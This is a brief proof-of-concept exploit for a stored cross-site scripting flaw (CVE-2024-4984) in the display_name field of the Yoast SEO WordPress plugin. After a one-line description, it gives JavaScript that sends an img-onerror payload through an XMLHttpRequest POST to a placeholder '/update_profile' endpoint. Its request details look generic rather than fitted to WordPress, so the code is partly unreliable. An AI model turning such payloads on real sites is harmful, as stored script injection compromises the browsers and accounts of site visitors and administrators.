The Yoast SEO plugin is vulnerable to a Stored XSS attack due to insufficient sanitization and escaping of the display_name field in the class-metabox-formatter.php

CVE-2024-4984 XSS Yoast SEO plugin for WordPress

<script>
  // Crafty XSS payload
  var maliciousPayload = "<img src=x onerror=alert('XSS Attack!') />";

  // Send the payload through the display_name field
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "/update_profile", true); // Replace "/update_profile" with the appropriate endpoint
  xhr.setRequestHeader("Content-Type", "application/json");
  xhr.onreadystatechange = function() {
    if (xhr.readyState === XMLHttpRequest.DONE) {
      if (xhr.status === 200) {
        console.log("Profile updated successfully!");
      } else {
        console.error("Error updating profile:", xhr.statusText);
      }
    }
  };
  var profileData = {
    display_name: maliciousPayload
    // Add any other required profile data here
  };
  xhr.send(JSON.stringify(profileData));
</script>